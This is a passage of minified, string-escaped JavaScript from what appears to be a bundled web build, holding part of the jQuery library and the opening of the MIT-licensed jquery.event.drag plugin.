t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),E.each([\\\"tabIndex\\\",\\\"readOnly\\\",\\\"maxLength\\\",\\\"cellSpacing\\\",\\\"cellPadding\\\",\\\"rowSpan\\\",\\\"colSpan\\\",\\\"useMap\\\",\\\"frameBorder\\\",\\\"contentEditable\\\"],function(){E.propFix[this.toLowerCase()]=this}),E.fn.extend({addClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).addClass(t.call(this,e,mt(this)))});if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)o.indexOf(\\\" \\\"+i+\\\" \\\")<0&&(o+=i+\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},removeClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).removeClass(t.call(this,e,mt(this)))});if(!arguments.length)return this.attr(\\\"class\\\",\\\"\\\");if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)for(;-1<o.indexOf(\\\" \\\"+i+\\\" \\\");)o=o.replace(\\\" \\\"+i+\\\" \\\",\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},toggleClass:function(r,t){var i=typeof r;return\\\"boolean\\\"==typeof t&&\\\"string\\\"===i?t?this.addClass(r):this.removeClass(r):E.isFunction(r)?this.each(function(e){E(this).toggleClass(r.call(this,e,mt(this),t),t)}):this.each(function(){var e,t,n,o;if(\\\"string\\\"===i)for(t=0,n=E(this),o=r.match(_)||[];e=o[t++];)n.hasClass(e)?n.removeClass(e):n.addClass(e);else void 0!==r&&\\\"boolean\\\"!==i||((e=mt(this))&&X.set(this,\\\"__className__\\\",e),this.setAttribute&&this.setAttribute(\\\"class\\\",e||!1===r?\\\"\\\":X.get(this,\\\"__className__\\\")||\\\"\\\"))})},hasClass:function(e){var t,n,o=0;for(t=\\\" \\\"+e+\\\" \\\";n=this[o++];)if(1===n.nodeType&&-1<(\\\" \\\"+gt(mt(n))+\\\" \\\").indexOf(t))return!0;return!1}});var vt=/\\\\r/g;E.fn.extend({val:function(n){var o,e,r,t=this[0];return arguments.length?(r=E.isFunction(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=r?n.call(this,e,E(this).val()):n)?t=\\\"\\\":\\\"number\\\"==typeof t?t+=\\\"\\\":Array.isArray(t)&&(t=E.map(t,function(e){return null==e?\\\"\\\":e+\\\"\\\"})),(o=E.valHooks[this.type]||E.valHooks[this.nodeName.toLowerCase()])&&\\\"set\\\"in o&&void 0!==o.set(this,t,\\\"value\\\")||(this.value=t))})):t?(o=E.valHooks[t.type]||E.valHooks[t.nodeName.toLowerCase()])&&\\\"get\\\"in o&&void 0!==(e=o.get(t,\\\"value\\\"))?e:\\\"string\\\"==typeof(e=t.value)?e.replace(vt,\\\"\\\"):null==e?\\\"\\\":e:void 0}}),E.extend({valHooks:{option:{get:function(e){var t=E.find.attr(e,\\\"value\\\");return null!=t?t:gt(E.text(e))}},select:{get:function(e){var t,n,o,r=e.options,i=e.selectedIndex,l=\\\"select-one\\\"===e.type,s=l?null:[],a=l?i+1:r.length;for(o=i<0?a:l?i:0;o<a;o++)if(((n=r[o]).selected||o===i)&&!n.disabled&&(!n.parentNode.disabled||!k(n.parentNode,\\\"optgroup\\\"))){if(t=E(n).val(),l)return t;s.push(t)}return s},set:function(e,t){for(var n,o,r=e.options,i=E.makeArray(t),l=r.length;l--;)((o=r[l]).selected=-1<E.inArray(E.valHooks.option.get(o),i))&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),E.each([\\\"radio\\\",\\\"checkbox\\\"],function(){E.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<E.inArray(E(e).val(),t)}},m.checkOn||(E.valHooks[this].get=function(e){return null===e.getAttribute(\\\"value\\\")?\\\"on\\\":e.value})});var wt=/^(?:focusinfocus|focusoutblur)$/;E.extend(E.event,{trigger:function(e,t,n,o){var r,i,l,s,a,c,u,d=[n||S],p=h.call(e,\\\"type\\\")?e.type:e,f=h.call(e,\\\"namespace\\\")?e.namespace.split(\\\".\\\"):[];if(i=l=n=n||S,3!==n.nodeType&&8!==n.nodeType&&!wt.test(p+E.event.triggered)&&(-1<p.indexOf(\\\".\\\")&&(p=(f=p.split(\\\".\\\")).shift(),f.sort()),a=p.indexOf(\\\":\\\")<0&&\\\"on\\\"+p,(e=e[E.expando]?e:new E.Event(p,\\\"object\\\"==typeof e&&e)).isTrigger=o?2:3,e.namespace=f.join(\\\".\\\"),e.rnamespace=e.namespace?new RegExp(\\\"(^|\\\\\\\\.)\\\"+f.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:E.makeArray(t,[e]),u=E.event.special[p]||{},o||!u.trigger||!1!==u.trigger.apply(n,t))){if(!o&&!u.noBubble&&!E.isWindow(n)){for(s=u.delegateType||p,wt.test(s+p)||(i=i.parentNode);i;i=i.parentNode)d.push(i),l=i;l===(n.ownerDocument||S)&&d.push(l.defaultView||l.parentWindow||R)}for(r=0;(i=d[r++])&&!e.isPropagationStopped();)e.type=1<r?s:u.bindType||p,(c=(X.get(i,\\\"events\\\")||{})[e.type]&&X.get(i,\\\"handle\\\"))&&c.apply(i,t),(c=a&&i[a])&&c.apply&&O(i)&&(e.result=c.apply(i,t),!1===e.result&&e.preventDefault());return e.type=p,o||e.isDefaultPrevented()||u._default&&!1!==u._default.apply(d.pop(),t)||!O(n)||a&&E.isFunction(n[p])&&!E.isWindow(n)&&((l=n[a])&&(n[a]=null),E.event.triggered=p,n[p](),E.event.triggered=void 0,l&&(n[a]=l)),e.result}},simulate:function(e,t,n){var o=E.extend(new E.Event,n,{type:e,isSimulated:!0});E.event.trigger(o,null,t)}}),E.fn.extend({trigger:function(e,t){return this.each(function(){E.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return E.event.trigger(e,t,n,!0)}}),E.each(\\\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\\\".split(\\\" \\\"),function(e,n){E.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}}),E.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),m.focusin=\\\"onfocusin\\\"in R,m.focusin||E.each({focus:\\\"focusin\\\",blur:\\\"focusout\\\"},function(n,o){var r=function(e){E.event.simulate(o,e.target,E.event.fix(e))};E.event.special[o]={setup:function(){var e=this.ownerDocument||this,t=X.access(e,o);t||e.addEventListener(n,r,!0),X.access(e,o,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this,t=X.access(e,o)-1;t?X.access(e,o,t):(e.removeEventListener(n,r,!0),X.remove(e,o))}}});var yt=R.location,Ct=E.now(),bt=/\\\\?/;E.parseXML=function(e){var t;if(!e||\\\"string\\\"!=typeof e)return null;try{t=(new R.DOMParser).parseFromString(e,\\\"text/xml\\\")}catch(e){t=void 0}return t&&!t.getElementsByTagName(\\\"parsererror\\\").length||E.error(\\\"Invalid XML: \\\"+e),t};var xt=/\\\\[\\\\]$/,Rt=/\\\\r?\\\\n/g,St=/^(?:submit|button|image|reset|file)$/i,Et=/^(?:input|select|textarea|keygen)/i;function kt(n,e,o,r){var t;if(Array.isArray(e))E.each(e,function(e,t){o||xt.test(n)?r(n,t):kt(n+\\\"[\\\"+(\\\"object\\\"==typeof t&&null!=t?e:\\\"\\\")+\\\"]\\\",t,o,r)});else if(o||\\\"object\\\"!==E.type(e))r(n,e);else for(t in e)kt(n+\\\"[\\\"+t+\\\"]\\\",e[t],o,r)}E.param=function(e,t){var n,o=[],r=function(e,t){var n=E.isFunction(t)?t():t;o[o.length]=encodeURIComponent(e)+\\\"=\\\"+encodeURIComponent(null==n?\\\"\\\":n)};if(Array.isArray(e)||e.jquery&&!E.isPlainObject(e))E.each(e,function(){r(this.name,this.value)});else for(n in e)kt(n,e[n],t,r);return o.join(\\\"&\\\")},E.fn.extend({serialize:function(){return E.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=E.prop(this,\\\"elements\\\");return e?E.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!E(this).is(\\\":disabled\\\")&&Et.test(this.nodeName)&&!St.test(e)&&(this.checked||!le.test(e))}).map(function(e,t){var n=E(this).val();return null==n?null:Array.isArray(n)?E.map(n,function(e){return{name:t.name,value:e.replace(Rt,\\\"\\\\r\\\\n\\\")}}):{name:t.name,value:n.replace(Rt,\\\"\\\\r\\\\n\\\")}}).get()}});var Tt=/%20/g,Pt=/#.*$/,Dt=/([?&])_=[^&]*/,At=/^(.*?):[ \\\\t]*([^\\\\r\\\\n]*)$/gm,Nt=/^(?:GET|HEAD)$/,$t=/^\\\\/\\\\//,Ht={},Lt={},Ft=\\\"*/\\\".concat(\\\"*\\\"),_t=S.createElement(\\\"a\\\");function It(i){return function(e,t){\\\"string\\\"!=typeof e&&(t=e,e=\\\"*\\\");var n,o=0,r=e.toLowerCase().match(_)||[];if(E.isFunction(t))for(;n=r[o++];)\\\"+\\\"===n[0]?(n=n.slice(1)||\\\"*\\\",(i[n]=i[n]||[]).unshift(t)):(i[n]=i[n]||[]).push(t)}}function Mt(t,r,i,l){var s={},a=t===Lt;function c(e){var o;return s[e]=!0,E.each(t[e]||[],function(e,t){var n=t(r,i,l);return\\\"string\\\"!=typeof n||a||s[n]?a?!(o=n):void 0:(r.dataTypes.unshift(n),c(n),!1)}),o}return c(r.dataTypes[0])||!s[\\\"*\\\"]&&c(\\\"*\\\")}function Wt(e,t){var n,o,r=E.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((r[n]?e:o||(o={}))[n]=t[n]);return o&&E.extend(!0,e,o),e}_t.href=yt.href,E.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yt.href,type:\\\"GET\\\",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(yt.protocol),global:!0,processData:!0,async:!0,contentType:\\\"application/x-www-form-urlencoded; charset=UTF-8\\\",accepts:{\\\"*\\\":Ft,text:\\\"text/plain\\\",html:\\\"text/html\\\",xml:\\\"application/xml, text/xml\\\",json:\\\"application/json, text/javascript\\\"},contents:{xml:/\\\\bxml\\\\b/,html:/\\\\bhtml/,json:/\\\\bjson\\\\b/},responseFields:{xml:\\\"responseXML\\\",text:\\\"responseText\\\",json:\\\"responseJSON\\\"},converters:{\\\"* text\\\":String,\\\"text html\\\":!0,\\\"text json\\\":JSON.parse,\\\"text xml\\\":E.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Wt(Wt(e,E.ajaxSettings),t):Wt(E.ajaxSettings,e)},ajaxPrefilter:It(Ht),ajaxTransport:It(Lt),ajax:function(e,t){\\\"object\\\"==typeof e&&(t=e,e=void 0),t=t||{};var u,d,p,n,f,o,h,g,r,i,m=E.ajaxSetup({},t),v=m.context||m,w=m.context&&(v.nodeType||v.jquery)?E(v):E.event,y=E.Deferred(),C=E.Callbacks(\\\"once memory\\\"),b=m.statusCode||{},l={},s={},a=\\\"canceled\\\",x={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n)for(n={};t=At.exec(p);)n[t[1].toLowerCase()]=t[2];t=n[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,l[e]=t),this},overrideMimeType:function(e){return null==h&&(m.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)x.always(e[x.status]);else for(t in e)b[t]=[b[t],e[t]];return this},abort:function(e){var t=e||a;return u&&u.abort(t),c(0,t),this}};if(y.promise(x),m.url=((e||m.url||yt.href)+\\\"\\\").replace($t,yt.protocol+\\\"//\\\"),m.type=t.method||t.type||m.method||m.type,m.dataTypes=(m.dataType||\\\"*\\\").toLowerCase().match(_)||[\\\"\\\"],null==m.crossDomain){o=S.createElement(\\\"a\\\");try{o.href=m.url,o.href=o.href,m.crossDomain=_t.protocol+\\\"//\\\"+_t.host!=o.protocol+\\\"//\\\"+o.host}catch(e){m.crossDomain=!0}}if(m.data&&m.processData&&\\\"string\\\"!=typeof m.data&&(m.data=E.param(m.data,m.traditional)),Mt(Ht,m,t,x),h)return x;for(r in(g=E.event&&m.global)&&0==E.active++&&E.event.trigger(\\\"ajaxStart\\\"),m.type=m.type.toUpperCase(),m.hasContent=!Nt.test(m.type),d=m.url.replace(Pt,\\\"\\\"),m.hasContent?m.data&&m.processData&&0===(m.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&(m.data=m.data.replace(Tt,\\\"+\\\")):(i=m.url.slice(d.length),m.data&&(d+=(bt.test(d)?\\\"&\\\":\\\"?\\\")+m.data,delete m.data),!1===m.cache&&(d=d.replace(Dt,\\\"$1\\\"),i=(bt.test(d)?\\\"&\\\":\\\"?\\\")+\\\"_=\\\"+Ct+++i),m.url=d+i),m.ifModified&&(E.lastModified[d]&&x.setRequestHeader(\\\"If-Modified-Since\\\",E.lastModified[d]),E.etag[d]&&x.setRequestHeader(\\\"If-None-Match\\\",E.etag[d])),(m.data&&m.hasContent&&!1!==m.contentType||t.contentType)&&x.setRequestHeader(\\\"Content-Type\\\",m.contentType),x.setRequestHeader(\\\"Accept\\\",m.dataTypes[0]&&m.accepts[m.dataTypes[0]]?m.accepts[m.dataTypes[0]]+(\\\"*\\\"!==m.dataTypes[0]?\\\", \\\"+Ft+\\\"; q=0.01\\\":\\\"\\\"):m.accepts[\\\"*\\\"]),m.headers)x.setRequestHeader(r,m.headers[r]);if(m.beforeSend&&(!1===m.beforeSend.call(v,x,m)||h))return x.abort();if(a=\\\"abort\\\",C.add(m.complete),x.done(m.success),x.fail(m.error),u=Mt(Lt,m,t,x)){if(x.readyState=1,g&&w.trigger(\\\"ajaxSend\\\",[x,m]),h)return x;m.async&&0<m.timeout&&(f=R.setTimeout(function(){x.abort(\\\"timeout\\\")},m.timeout));try{h=!1,u.send(l,c)}catch(e){if(h)throw e;c(-1,e)}}else c(-1,\\\"No Transport\\\");function c(e,t,n,o){var r,i,l,s,a,c=t;h||(h=!0,f&&R.clearTimeout(f),u=void 0,p=o||\\\"\\\",x.readyState=0<e?4:0,r=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var o,r,i,l,s=e.contents,a=e.dataTypes;for(;\\\"*\\\"===a[0];)a.shift(),void 0===o&&(o=e.mimeType||t.getResponseHeader(\\\"Content-Type\\\"));if(o)for(r in s)if(s[r]&&s[r].test(o)){a.unshift(r);break}if(a[0]in n)i=a[0];else{for(r in n){if(!a[0]||e.converters[r+\\\" \\\"+a[0]]){i=r;break}l||(l=r)}i=i||l}if(i)return i!==a[0]&&a.unshift(i),n[i]}(m,x,n)),s=function(e,t,n,o){var r,i,l,s,a,c={},u=e.dataTypes.slice();if(u[1])for(l in e.converters)c[l.toLowerCase()]=e.converters[l];i=u.shift();for(;i;)if(e.responseFields[i]&&(n[e.responseFields[i]]=t),!a&&o&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),a=i,i=u.shift())if(\\\"*\\\"===i)i=a;else if(\\\"*\\\"!==a&&a!==i){if(!(l=c[a+\\\" \\\"+i]||c[\\\"* \\\"+i]))for(r in c)if((s=r.split(\\\" \\\"))[1]===i&&(l=c[a+\\\" \\\"+s[0]]||c[\\\"* \\\"+s[0]])){!0===l?l=c[r]:!0!==c[r]&&(i=s[0],u.unshift(s[1]));break}if(!0!==l)if(l&&e.throws)t=l(t);else try{t=l(t)}catch(e){return{state:\\\"parsererror\\\",error:l?e:\\\"No conversion from \\\"+a+\\\" to \\\"+i}}}return{state:\\\"success\\\",data:t}}(m,s,x,r),r?(m.ifModified&&((a=x.getResponseHeader(\\\"Last-Modified\\\"))&&(E.lastModified[d]=a),(a=x.getResponseHeader(\\\"etag\\\"))&&(E.etag[d]=a)),204===e||\\\"HEAD\\\"===m.type?c=\\\"nocontent\\\":304===e?c=\\\"notmodified\\\":(c=s.state,i=s.data,l=s.error,r=!l)):(l=c,!e&&c||(c=\\\"error\\\",e<0&&(e=0))),x.status=e,x.statusText=(t||c)+\\\"\\\",r?y.resolveWith(v,[i,c,x]):y.rejectWith(v,[x,c,l]),x.statusCode(b),b=void 0,g&&w.trigger(r?\\\"ajaxSuccess\\\":\\\"ajaxError\\\",[x,m,r?i:l]),C.fireWith(v,[x,c]),g&&(w.trigger(\\\"ajaxComplete\\\",[x,m]),--E.active||E.event.trigger(\\\"ajaxStop\\\")))}return x},getJSON:function(e,t,n){return E.get(e,t,n,\\\"json\\\")},getScript:function(e,t){return E.get(e,void 0,t,\\\"script\\\")}}),E.each([\\\"get\\\",\\\"post\\\"],function(e,r){E[r]=function(e,t,n,o){return E.isFunction(t)&&(o=o||n,n=t,t=void 0),E.ajax(E.extend({url:e,type:r,dataType:o,data:t,success:n},E.isPlainObject(e)&&e))}}),E._evalUrl=function(e){return E.ajax({url:e,type:\\\"GET\\\",dataType:\\\"script\\\",cache:!0,async:!1,global:!1,throws:!0})},E.fn.extend({wrapAll:function(e){var t;return this[0]&&(E.isFunction(e)&&(e=e.call(this[0])),t=E(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return E.isFunction(n)?this.each(function(e){E(this).wrapInner(n.call(this,e))}):this.each(function(){var e=E(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=E.isFunction(t);return this.each(function(e){E(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not(\\\"body\\\").each(function(){E(this).replaceWith(this.childNodes)}),this}}),E.expr.pseudos.hidden=function(e){return!E.expr.pseudos.visible(e)},E.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},E.ajaxSettings.xhr=function(){try{return new R.XMLHttpRequest}catch(e){}};var jt={0:200,1223:204},Vt=E.ajaxSettings.xhr();m.cors=!!Vt&&\\\"withCredentials\\\"in Vt,m.ajax=Vt=!!Vt,E.ajaxTransport(function(r){var i,l;if(m.cors||Vt&&!r.crossDomain)return{send:function(e,t){var n,o=r.xhr();if(o.open(r.type,r.url,r.async,r.username,r.password),r.xhrFields)for(n in r.xhrFields)o[n]=r.xhrFields[n];for(n in r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.crossDomain||e[\\\"X-Requested-With\\\"]||(e[\\\"X-Requested-With\\\"]=\\\"XMLHttpRequest\\\"),e)o.setRequestHeader(n,e[n]);i=function(e){return function(){i&&(i=l=o.onload=o.onerror=o.onabort=o.onreadystatechange=null,\\\"abort\\\"===e?o.abort():\\\"error\\\"===e?\\\"number\\\"!=typeof o.status?t(0,\\\"error\\\"):t(o.status,o.statusText):t(jt[o.status]||o.status,o.statusText,\\\"text\\\"!==(o.responseType||\\\"text\\\")||\\\"string\\\"!=typeof o.responseText?{binary:o.response}:{text:o.responseText},o.getAllResponseHeaders()))}},o.onload=i(),l=o.onerror=i(\\\"error\\\"),void 0!==o.onabort?o.onabort=l:o.onreadystatechange=function(){4===o.readyState&&R.setTimeout(function(){i&&l()})},i=i(\\\"abort\\\");try{o.send(r.hasContent&&r.data||null)}catch(e){if(i)throw e}},abort:function(){i&&i()}}}),E.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),E.ajaxSetup({accepts:{script:\\\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\\\"},contents:{script:/\\\\b(?:java|ecma)script\\\\b/},converters:{\\\"text script\\\":function(e){return E.globalEval(e),e}}}),E.ajaxPrefilter(\\\"script\\\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\\\"GET\\\")}),E.ajaxTransport(\\\"script\\\",function(n){var o,r;if(n.crossDomain)return{send:function(e,t){o=E(\\\"<script>\\\").prop({charset:n.scriptCharset,src:n.url}).on(\\\"load error\\\",r=function(e){o.remove(),r=null,e&&t(\\\"error\\\"===e.type?404:200,e.type)}),S.head.appendChild(o[0])},abort:function(){r&&r()}}});var Bt,qt=[],Ot=/(=)\\\\?(?=&|$)|\\\\?\\\\?/;E.ajaxSetup({jsonp:\\\"callback\\\",jsonpCallback:function(){var e=qt.pop()||E.expando+\\\"_\\\"+Ct++;return this[e]=!0,e}}),E.ajaxPrefilter(\\\"json jsonp\\\",function(e,t,n){var o,r,i,l=!1!==e.jsonp&&(Ot.test(e.url)?\\\"url\\\":\\\"string\\\"==typeof e.data&&0===(e.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&Ot.test(e.data)&&\\\"data\\\");if(l||\\\"jsonp\\\"===e.dataTypes[0])return o=e.jsonpCallback=E.isFunction(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,l?e[l]=e[l].replace(Ot,\\\"$1\\\"+o):!1!==e.jsonp&&(e.url+=(bt.test(e.url)?\\\"&\\\":\\\"?\\\")+e.jsonp+\\\"=\\\"+o),e.converters[\\\"script json\\\"]=function(){return i||E.error(o+\\\" was not called\\\"),i[0]},e.dataTypes[0]=\\\"json\\\",r=R[o],R[o]=function(){i=arguments},n.always(function(){void 0===r?E(R).removeProp(o):R[o]=r,e[o]&&(e.jsonpCallback=t.jsonpCallback,qt.push(o)),i&&E.isFunction(r)&&r(i[0]),i=r=void 0}),\\\"script\\\"}),m.createHTMLDocument=((Bt=S.implementation.createHTMLDocument(\\\"\\\").body).innerHTML=\\\"<form></form><form></form>\\\",2===Bt.childNodes.length),E.parseHTML=function(e,t,n){return\\\"string\\\"!=typeof e?[]:(\\\"boolean\\\"==typeof t&&(n=t,t=!1),t||(m.createHTMLDocument?(t=S.implementation.createHTMLDocument(\\\"\\\"),(o=t.createElement(\\\"base\\\")).href=S.location.href,t.head.appendChild(o)):t=S),r=T.exec(e),i=!n&&[],r?[t.createElement(r[1])]:(r=me([e],t,i),i&&i.length&&E(i).remove(),E.merge([],r.childNodes)));var o,r,i},E.fn.load=function(e,t,n){var o,r,i,l=this,s=e.indexOf(\\\" \\\");return-1<s&&(o=gt(e.slice(s)),e=e.slice(0,s)),E.isFunction(t)?(n=t,t=void 0):t&&\\\"object\\\"==typeof t&&(r=\\\"POST\\\"),0<l.length&&E.ajax({url:e,type:r||\\\"GET\\\",dataType:\\\"html\\\",data:t}).done(function(e){i=arguments,l.html(o?E(\\\"<div>\\\").append(E.parseHTML(e)).find(o):e)}).always(n&&function(e,t){l.each(function(){n.apply(this,i||[e.responseText,t,e])})}),this},E.each([\\\"ajaxStart\\\",\\\"ajaxStop\\\",\\\"ajaxComplete\\\",\\\"ajaxError\\\",\\\"ajaxSuccess\\\",\\\"ajaxSend\\\"],function(e,t){E.fn[t]=function(e){return this.on(t,e)}}),E.expr.pseudos.animated=function(t){return E.grep(E.timers,function(e){return t===e.elem}).length},E.offset={setOffset:function(e,t,n){var o,r,i,l,s,a,c=E.css(e,\\\"position\\\"),u=E(e),d={};\\\"static\\\"===c&&(e.style.position=\\\"relative\\\"),s=u.offset(),i=E.css(e,\\\"top\\\"),a=E.css(e,\\\"left\\\"),(\\\"absolute\\\"===c||\\\"fixed\\\"===c)&&-1<(i+a).indexOf(\\\"auto\\\")?(o=u.position(),l=o.top,r=o.left):(l=parseFloat(i)||0,r=parseFloat(a)||0),E.isFunction(t)&&(t=t.call(e,n,E.extend({},s))),null!=t.top&&(d.top=t.top-s.top+l),null!=t.left&&(d.left=t.left-s.left+r),\\\"using\\\"in t?t.using.call(e,d):u.css(d)}},E.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){E.offset.setOffset(this,t,e)});var e,n,o,r,i=this[0];return i?i.getClientRects().length?(o=i.getBoundingClientRect(),e=i.ownerDocument,n=e.documentElement,r=e.defaultView,{top:o.top+r.pageYOffset-n.clientTop,left:o.left+r.pageXOffset-n.clientLeft}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n=this[0],o={top:0,left:0};return\\\"fixed\\\"===E.css(n,\\\"position\\\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),k(e[0],\\\"html\\\")||(o=e.offset()),o={top:o.top+E.css(e[0],\\\"borderTopWidth\\\",!0),left:o.left+E.css(e[0],\\\"borderLeftWidth\\\",!0)}),{top:t.top-o.top-E.css(n,\\\"marginTop\\\",!0),left:t.left-o.left-E.css(n,\\\"marginLeft\\\",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&\\\"static\\\"===E.css(e,\\\"position\\\");)e=e.offsetParent;return e||ve})}}),E.each({scrollLeft:\\\"pageXOffset\\\",scrollTop:\\\"pageYOffset\\\"},function(t,r){var i=\\\"pageYOffset\\\"===r;E.fn[t]=function(e){return q(this,function(e,t,n){var o;if(E.isWindow(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===n)return o?o[r]:e[t];o?o.scrollTo(i?o.pageXOffset:n,i?n:o.pageYOffset):e[t]=n},t,e,arguments.length)}}),E.each([\\\"top\\\",\\\"left\\\"],function(e,n){E.cssHooks[n]=Ve(m.pixelPosition,function(e,t){if(t)return t=je(e,n),Me.test(t)?E(e).position()[n]+\\\"px\\\":t})}),E.each({Height:\\\"height\\\",Width:\\\"width\\\"},function(l,s){E.each({padding:\\\"inner\\\"+l,content:s,\\\"\\\":\\\"outer\\\"+l},function(o,i){E.fn[i]=function(e,t){var n=arguments.length&&(o||\\\"boolean\\\"!=typeof e),r=o||(!0===e||!0===t?\\\"margin\\\":\\\"border\\\");return q(this,function(e,t,n){var o;return E.isWindow(e)?0===i.indexOf(\\\"outer\\\")?e[\\\"inner\\\"+l]:e.document.documentElement[\\\"client\\\"+l]:9===e.nodeType?(o=e.documentElement,Math.max(e.body[\\\"scroll\\\"+l],o[\\\"scroll\\\"+l],e.body[\\\"offset\\\"+l],o[\\\"offset\\\"+l],o[\\\"client\\\"+l])):void 0===n?E.css(e,t,r):E.style(e,t,n,r)},s,n?e:void 0,n)}})}),E.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,o){return this.on(t,e,n,o)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\\\"**\\\"):this.off(t,e||\\\"**\\\",n)}}),E.holdReady=function(e){e?E.readyWait++:E.ready(!0)},E.isArray=Array.isArray,E.parseJSON=JSON.parse,E.nodeName=k,\\\"function\\\"==typeof define&&define.amd&&define(\\\"jquery\\\",[],function(){return E});var zt=R.jQuery,Xt=R.$;return E.noConflict=function(e){return R.$===E&&(R.$=Xt),e&&R.jQuery===E&&(R.jQuery=zt),E},e||(R.jQuery=R.$=E),E})},442:function(e,t,n){\\n      /*!\\n           * jquery.event.drag - v 2.3.0\\n           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n           * Open Source MIT License - http://threedubmedia.com/code/license\\n           */\\n      var f=e(448);f.fn.drag=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drag\\\")&&(o=\\\"drag\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)};var h=f.event,o=h.special,g=o.drag={defaults:{which:1,distance:0,not:\\\":input\\\",handle:null,relative:!1,drop:!0,click:!1},datakey:\\\"dragdata\\\",noBubble:!0,add:function(e){var n=f.data(this,g.datakey),o=e.data||{};n.related+=1,f.each(g.defaults,function(e,t){void 0!==o[e]&&(n[e]=o[e])})},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){var e=f.extend({related:0},g.defaults);f.data(this,g.datakey,e),h.add(this,\\\"touchstart mousedown\\\",g.init,e),this.attachEvent&&this.attachEvent(\\\"ondragstart\\\",g.dontstart)}},teardown:function(){var e=f.data(this,g.datakey)||{};e.related||(f.removeData(this,g.datakey),h.remove(this,\\\"touchstart mousedown\\\",g.init),g.textselect(!0),this.detachEvent&&this.detachEvent(\\\"ondragstart\\\",g.dontstart))},init:function(e){if(!g.touched){var t,n=e.data;if(!(0!=e.which&&0<n.which&&e.which!=n.which)&&!f(e.target).is(n.not)&&(!n.handle||f(e.target).closest(n.handle,e.currentTarget).length)&&(g.touched=\\\"touchstart\\\"==e.type?this:null,n.propagates=1,n.mousedown=this,n.interactions=[g.interaction(this,n)],n.target=e.target,n.pageX=e.pageX,n.pageY=e.pageY,n.dragging=null,t=g.hijack(e,\\\"draginit\\\",n),n.propagates))return(t=g.flatten(t))&&t.length&&(n.interactions=[],f.each(t,function(){n.interactions.push(g.interaction(this,n))})),n.propagates=n.interactions.length,!1!==n.drop&&o.drop&&o.drop.handler(e,n),g.textselect(!1),g.touched?h.add(g.touched,\\\"touchmove touchend\\\",g.handler,n):h.add(document,\\\"mousemove mouseup\\\",g.handler,n),!(!g.touched||n.live)&&void 0}},interaction:function(e,t){var n=e&&e.ownerDocument&&f(e)[t.relative?\\\"position\\\":\\\"offset\\\"]()||{top:0,left:0};return{drag:e,callback:new g.callback,droppable:[],offset:n}},handler:function(e){var 